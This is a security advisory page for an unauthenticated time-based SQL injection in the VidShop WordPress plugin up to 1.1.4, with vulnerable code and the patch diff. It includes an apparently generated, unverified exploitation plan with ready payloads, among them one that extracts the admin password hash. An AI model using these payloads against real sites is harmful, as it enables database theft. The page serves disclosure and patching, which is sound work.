CVE-2026-0702

VidShop – Shoppable Videos for WooCommerce <= 1.1.4 - Unauthenticated Time-Based SQL Injection via 'fields'

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.1.5
Patched in
1d
Time to patch

Description

The VidShop – Shoppable Videos for WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via the 'fields' parameter in all versions up to, and including, 1.1.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.1.4
PublishedJanuary 27, 2026
Last updatedJanuary 28, 2026

What Changed in the Fix

Changes introduced in v1.1.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-0702 - VidShop SQL Injection ## 1. Vulnerability Summary The **VidShop – Shoppable Videos for WooCommerce** plugin (versions <= 1.1.4) is vulnerable to an unauthenticated time-based SQL Injection. The vulnerability exists in the REST API handler for retrieving…

Show full research plan

Exploitation Research Plan: CVE-2026-0702 - VidShop SQL Injection

1. Vulnerability Summary

The VidShop – Shoppable Videos for WooCommerce plugin (versions <= 1.1.4) is vulnerable to an unauthenticated time-based SQL Injection. The vulnerability exists in the REST API handler for retrieving videos, specifically through the fields parameter. The plugin fails to sanitize or properly prepare the list of columns provided by the user before incorporating them into a SELECT statement within its custom Query_Builder.

2. Attack Vector Analysis

  • Endpoint: /wp-json/vidshop/v1/videos (GET)
  • Vulnerable Parameter: fields
  • Authentication: Unauthenticated (Default). The check_public_permission callback in Videos_Controller typically allows read access to published videos.
  • Payload Type: Time-based blind SQL injection (e.g., SLEEP()).
  • Preconditions: At least one video must exist in the database (specifically the vsfw_videos table) to trigger the execution of the SELECT clause for the returned rows.

3. Code Flow

  1. Request Entry: An unauthenticated user sends a GET request to wp-json/vidshop/v1/videos?fields=....
  2. Route Registration: In includes/rest-api/v1/class-videos-controller.php, the route /videos is registered with the get_items callback.
  3. Parameter Handling: The get_items method retrieves the fields parameter from the WP_REST_Request.
  4. Query Building: The controller uses Video_Model::query(), which returns an instance of VSFW\Utils\Query_Builder.
  5. Vulnerable Sink: The controller calls $query->select( explode( ',', $request['fields'] ) ).
  6. SQL Construction: In includes/utils/class-query-builder.php, the select() method populates the $columns array. When the query is executed (via get() or get_raw()), the builder constructs the SQL string by joining these columns: SELECT field1, field2, [PAYLOAD] FROM wp_vsfw_videos....
  7. Execution: The raw string is executed via $wpdb->get_results(), triggering the SQL payload.

4. Nonce Acquisition Strategy

REST API GET requests in WordPress typically do not require a nonce for public collections. However, if the environment is hardened:

  1. Trigger Script Loading: Create a page containing the VidShop shortcode [vsfw-videos].
  2. Identify Variable: The plugin likely localizes script data via wp_localize_script. Based on standard VidShop patterns, check for a global object like vidshop_data or vsfw_settings.
  3. Extraction:
    • wp post create --post_type=page --post_status=publish --post_title="VidShop Test" --post_content='[vsfw-videos]'
    • Navigate to the new page.
    • browser_eval("window.vsfw_settings?.rest_nonce") (inferred key).
  4. Bypass: Check Videos_Controller::check_public_permission. If it returns __return_true, no nonce or authentication is required.

5. Exploitation Strategy

We will use a time-based payload to confirm the injection.

Step 1: Confirm Injection

Submit a request that causes a 5-second delay.

  • Method: GET
  • URL: /wp-json/vidshop/v1/videos
  • Parameters:
    • fields: id,(SELECT(1)FROM(SELECT(SLEEP(5)))a)
    • per_page: 1 (To ensure the sleep only triggers once)

Step 2: Data Extraction (Example: Admin Hash)

Extract the first character of the admin password hash.

  • Payload: id,(SELECT IF(ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(5),1))
  • Note: 36 is the ASCII for $, which is the start of WordPress phpass hashes.

Request Format (via http_request):

{
  "method": "GET",
  "url": "http://vulnerable-hostname.tld/wp-json/vidshop/v1/videos",
  "params": {
    "fields": "id,(SELECT(1)FROM(SELECT(SLEEP(5)))a)",
    "per_page": "1"
  }
}

6. Test Data Setup

  1. Ensure WooCommerce is active: The plugin requires it.
  2. Create a Video: The injection requires at least one row in the videos table to execute the SELECT list expressions.
    wp eval "VSFW\Models\Video_Model::create(['title' => 'Exploit Test', 'type' => 'media_library', 'thumbnail_id' => 1, 'status' => 'published']);"
    
  3. Verify Public Access: Ensure the REST API is reachable.

7. Expected Results

  • Vulnerable Version: The HTTP response will be delayed by approximately 5 seconds.
  • Patched Version (1.1.5): The response will return immediately, likely with a 400 Bad Request or the fields parameter will be ignored/sanitized, returning only valid columns.

8. Verification Steps

After the HTTP request, verify the database state or logs:

  1. Check Query Logs: If WP_DEBUG and SAVEQUERIES are on, check the SQL query logged.
  2. No Side Effects: Since this is a SELECT injection, no data should be modified, but time-based confirmation is definitive.
  3. Manual Check:
    wp db query "SELECT id, (SELECT SLEEP(1)) FROM wp_vsfw_videos LIMIT 1;"
    
    (This confirms the syntax used in the payload is valid for the target DB).

9. Alternative Approaches

  • Boolean-Based Blind: If time-based is unreliable, use fields=id,(CASE WHEN (1=1) THEN 1 ELSE 0 END) and check if the returned JSON includes a column with value 1 vs 0.
  • Error-Based: If WP_DEBUG is enabled, try fields=id,updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1)),1).
  • Different Endpoint: Check if GET /wp-json/vidshop/v1/videos/(?P<id>[\d]+) also processes the fields parameter via the same get_item logic.
Research Findings
Static analysis — not yet PoC-verified

Summary

The VidShop plugin for WordPress is vulnerable to unauthenticated time-based SQL Injection via the 'fields' parameter on the REST API videos endpoint. Due to insufficient validation and escaping within the Query_Builder's select method, an attacker can inject arbitrary SQL commands into the column list of a SELECT query.

Vulnerable Code

// includes/rest-api/v1/class-videos-controller.php (around line 309 in v1.1.4)
if ( $fields ) {
    $selected_fields = explode( ',', $fields );
    $query->select( $selected_fields );
}

---

// includes/utils/class-query-builder.php (line 407 in v1.1.4)
public function select( $columns = array( '*' ) ) {
    $this->columns = is_array( $columns ) ? $columns : func_get_args();
    return $this;
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/vidshop-for-woocommerce/1.1.4/includes/rest-api/v1/class-videos-controller.php /home/deploy/wp-safety.org/data/plugin-versions/vidshop-for-woocommerce/1.1.5/includes/rest-api/v1/class-videos-controller.php
--- /home/deploy/wp-safety.org/data/plugin-versions/vidshop-for-woocommerce/1.1.4/includes/rest-api/v1/class-videos-controller.php	2026-01-08 09:26:16.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/vidshop-for-woocommerce/1.1.5/includes/rest-api/v1/class-videos-controller.php	2026-01-16 15:29:18.000000000 +0000
@@ -180,6 +180,68 @@
 	}
 
 	/**
+	 * Get allowed fields for select query (whitelist for SQL injection prevention)
+	 *
+	 * @return array
+	 */
+	private function get_allowed_fields() {
+		return array(
+			'id',
+			'title',
+			'type',
+			'source_url',
+			'thumbnail_id',
+			'video_id',
+			'settings',
+			'status',
+			'created_by',
+			'created_at',
+			'updated_at',
+		);
+	}
+
+	/**
+	 * Sanitize fields parameter - whitelist validation
+	 *
+	 * @param string $fields Comma-separated fields.
+	 * @return string Sanitized fields.
+	 */
+	public function sanitize_fields_param( $fields ) {
+		if ( empty( $fields ) ) {
+			return '';
+		}
+		error_log( 'Sanitize fields parameter: ' . $fields );
+		$requested_fields = array_map( 'trim', explode( ',', $fields ) );
+		$allowed_fields   = $this->get_allowed_fields();
+		$valid_fields     = array_filter(
+			$requested_fields,
+			function ( $field ) use ( $allowed_fields ) {
+				return in_array( $field, $allowed_fields, true );
+			}
+		);
+		error_log( 'Valid fields: ' . implode( ',', $valid_fields ) );
+		return implode( ',', $valid_fields );
+	}
+
 	/**
 	 * Get collection parameters
 	 */
@@ -222,12 +284,14 @@
 				'enum'        => array( 'asc', 'desc' ),
 			),
 			'fields'   => array(
-				'description' => __( 'Comma-separated list of fields to include in the response.', 'vidshop-for-woocommerce' ),
-				'type'        => 'string',
+				'description'       => __( 'Comma-separated list of fields to include in the response.', 'vidshop-for-woocommerce' ),
+				'type'              => 'string',
+				'sanitize_callback' => array( $this, 'sanitize_fields_param' ),
 			),
 			'ids'      => array(
-				'description' => __( 'Comma-separated list of video IDs.', 'vidshop-for-woocommerce' ),
-				'type'        => 'string',
+				'description'       => __( 'Comma-separated list of video IDs.', 'vidshop-for-woocommerce' ),
+				'type'              => 'string',
+				'sanitize_callback' => array( $this, 'sanitize_ids_param' ),
 			),
 		);
 
@@ -303,7 +368,8 @@
 			$query->order_by( $orderby, $order );
 		}
 
-		if ( $fields ) {
+		// Select specific fields (already validated via whitelist in sanitize_callback)
+		if ( ! empty( $fields ) ) {
 			$selected_fields = explode( ',', $fields );
 			$query->select( $selected_fields );
 		}

Exploit Outline

The exploit targets the public WordPress REST API endpoint /wp-json/vidshop/v1/videos. An attacker makes a GET request and provides a SQL payload within the 'fields' parameter. Because the plugin uses explode() on the 'fields' string and passes the resulting array directly into a SELECT statement without validation, an attacker can append a subquery using time-based functions like SLEEP(). Payload Structure: GET /wp-json/vidshop/v1/videos?fields=id,(SELECT(1)FROM(SELECT(SLEEP(5)))a)&per_page=1 Authentication: None required (Unauthenticated). Condition: At least one entry must exist in the 'vsfw_videos' table for the SELECT query to execute the SLEEP payload.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.